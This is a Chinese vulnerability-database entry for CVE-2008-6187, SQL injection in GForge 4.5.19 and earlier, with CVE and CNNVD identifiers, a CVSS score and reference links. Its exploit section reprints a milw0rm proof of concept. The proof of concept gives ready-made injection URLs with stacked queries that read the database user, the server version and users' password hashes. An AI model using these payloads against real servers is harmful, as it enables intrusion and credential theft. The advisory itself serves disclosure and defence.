Gforge 脚本shownotes.php SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116374 漏洞类型 SQL注入
发布时间 2008-10-09 更新时间 2009-02-19
CVE编号 CVE-2008-6187 CNNVD-ID CNNVD-200902-414
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/6707
https://www.securityfocus.com/bid/80767
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-414
|漏洞详情
GForge是用于管理软件开发周期的工具。Gforge脚本frs/shownotes.php存在SQL注入漏洞,远程攻击者可以通过release_id参数执行任意SQL命令。
|漏洞EXP
Gforge <= 4.5.19 Multiple Sql Injections

Vendor Notified: 2008-10-06
Note: should work regardless magic_quotes_gpc setting.

http://gforgesite.xxx/new/?group_id=&limit=50&offset=50;select 1 as id,CURRENT_USER as forum_id, version() as summary
http://gforgesite.xxx/news/?group_id=&limit=50&offset=50;select+1+as+id,unix_pw+as+forum_id,+user_name||unix_pw+as+summary+from+users
http://gforgesite.xxx/top/topusers.php?offset=0;select+1,version()+as+user_name,3,4,5;

Replace 1337 with a valid group_id:

http://gforgesite.xxx/frs/shownotes.php?release_id=*/+--+454&pub_sql=;select+1+as+is_public,1337+as+group_id,current_user+as+name,4+as+notes,version()+as+changes,6;/*

# milw0rm.com [2008-10-09]
|受影响的产品
GForge GForge 4.5.19 GForge GForge 4.5.16 GForge GForge 4.5.14 + Debian Linux 4.0 sparc + Debian Linux 4.0 s/390
|参考资料

来源:XF
名称:gforge-shownotes-sql-injection(45811)
链接:http://xforce.iss.net/xforce/xfdb/45811
来源:BID
名称:31674
链接:http://www.securityfocus.com/bid/31674
来源:SECUNIA
名称:32217
链接:http://secunia.com/advisories/32217
来源:MILW0RM
名称:6707
链接:http://milw0rm.com/exploits/6707
来源:gforge.org
链接:http://gforge.org/tracker/index.php?func=detail&aid=5553&group_id=1&atid=105